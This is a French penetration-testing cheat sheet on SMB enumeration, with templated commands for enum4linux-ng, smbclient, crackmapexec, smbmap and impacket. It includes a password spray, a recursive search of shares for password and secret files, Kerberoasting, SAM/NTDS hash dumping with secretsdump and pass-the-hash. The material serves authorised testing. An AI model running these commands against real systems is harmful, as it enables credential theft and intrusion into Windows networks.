---
title: "Enumération SMB"
domain: security
subdomain: pentest
phase: 03-enumeration
type: snippet
tags: [smb, enumeration, pentest, windows, samba, cme]
difficulty: intermediate
status: stable
updated: "Sun May 10 2026 00:00:00 GMT+0000 (Coordinated Universal Time)"
---
## Objectifs

Identifier les partages SMB accessibles, les utilisateurs, les politiques de mot de passe et les sessions nulles.

<Warning>Vérifier que les ports 445 et 139 sont dans le scope autorisé avant toute énumération.</Warning>

## Outils

| Outil | Usage |
|---|---|
| `enum4linux-ng` | Enumération SMB/RPC complète (remplace enum4linux) |
| `smbclient` | Navigation manuelle dans les partages |
| `crackmapexec` / `cme` | Enumération + credential testing |
| `smbmap` | Mapping des permissions sur les partages |
| `rpcclient` | RPC calls manuels |
| `impacket` | Suite d'outils SMB/AD avancés |

## Enum4linux-ng — Enumération complète

```bash vars=TARGET,DOMAIN,OUTPUT_DIR
# Enumération complète (users, shares, groups, policies)
enum4linux-ng -A {{TARGET}} -oA {{OUTPUT_DIR}}/smb-enum

# Avec credentials
enum4linux-ng -A {{TARGET}} -u {{DOMAIN}}/guest -oA {{OUTPUT_DIR}}/smb-auth
```

## Smbclient — Navigation partages

```bash vars=TARGET,USER,PASSWORD,DOMAIN
# Lister les partages (anonyme)
smbclient -L //{{TARGET}} -N

# Lister avec credentials
smbclient -L //{{TARGET}} -U {{DOMAIN}}\\{{USER}}%{{PASSWORD}}

# Se connecter à un partage
smbclient //{{TARGET}}/SYSVOL -U {{DOMAIN}}\\{{USER}}%{{PASSWORD}}

# Commandes utiles dans smbclient :
# ls         — liste les fichiers
# get file   — télécharger un fichier
# put file   — uploader un fichier
# recurse ON; prompt OFF; mget * — télécharger tout
```

## CrackMapExec — Enumération avancée

```bash vars=TARGET,USER,PASSWORD,DOMAIN,OUTPUT_DIR
# Enumération des partages
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --shares

# Enumération des utilisateurs
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --users

# Enumération des groupes
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --groups

# Sessions actives
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --sessions

# Politique de mot de passe
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --pass-pol

# Spray de passwords (ATTENTION : risque de lockout)
cme smb {{TARGET}} -u users.txt -p 'Password123!' -d {{DOMAIN}} --continue-on-success
```

## Smbmap — Permissions

```bash vars=TARGET,USER,PASSWORD,DOMAIN
# Mapping des permissions
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}}

# Recursive listing
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R

# Recherche de fichiers sensibles
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R -A "\.txt|\.conf|\.ini|password|secret"
```

## Impacket — Attaques avancées

```bash vars=TARGET,DOMAIN,USER,PASSWORD,OUTPUT_DIR
# Lister les SPN (Kerberoasting)
GetUserSPNs.py {{DOMAIN}}/{{USER}}:{{PASSWORD}} -dc-ip {{TARGET}} -request -outputfile {{OUTPUT_DIR}}/spns.txt

# Utilisateurs AD
GetADUsers.py {{DOMAIN}}/{{USER}}:{{PASSWORD}} -dc-ip {{TARGET}} -all

# Dump SAM/NTDS (si admin)
secretsdump.py {{DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET}} -outputfile {{OUTPUT_DIR}}/hashes

# Pass-the-hash
smbclient //{{TARGET}}/C$ -U {{DOMAIN}}\\{{USER}} --pw-nt-hash NTLMHASH
```

<Checklist
  title="Checklist SMB"
  storageKey="pentest-smb-enum"
  items={[
    { id: "ports", label: "Ports 445/139 ouverts confirmés (nmap)" },
    { id: "signing", label: "SMB signing vérifié (si désactivé = relay possible)", critical: true },
    { id: "version", label: "Version SMB identifiée (v1/v2/v3)" },
    { id: "null", label: "Session null testée (accès anonyme)" },
    { id: "shares", label: "Partages listés et permissions documentées" },
    { id: "users", label: "Utilisateurs énumérés" },
    { id: "groups", label: "Groupes et membres documentés" },
    { id: "policy", label: "Politique de mot de passe récupérée" },
    { id: "spn", label: "SPN listés (Kerberoasting potentiel)" },
    { id: "files", label: "Fichiers sensibles dans les partages recherchés" },
  ]}
/>

## Pièges fréquents

- **SMB signing activé** : bloque les attaques de type NTLM relay
- **Win10/Server 2019+** : SMBv1 désactivé par défaut — ne pas compter dessus
- **Lockout** : vérifier la politique avant tout password spray (généralement 3-5 tentatives)
- **Sessions null** : souvent désactivées sur les AD modernes
- **Firewall** : port 445 filtré mais 139 ouvert — essayer les deux
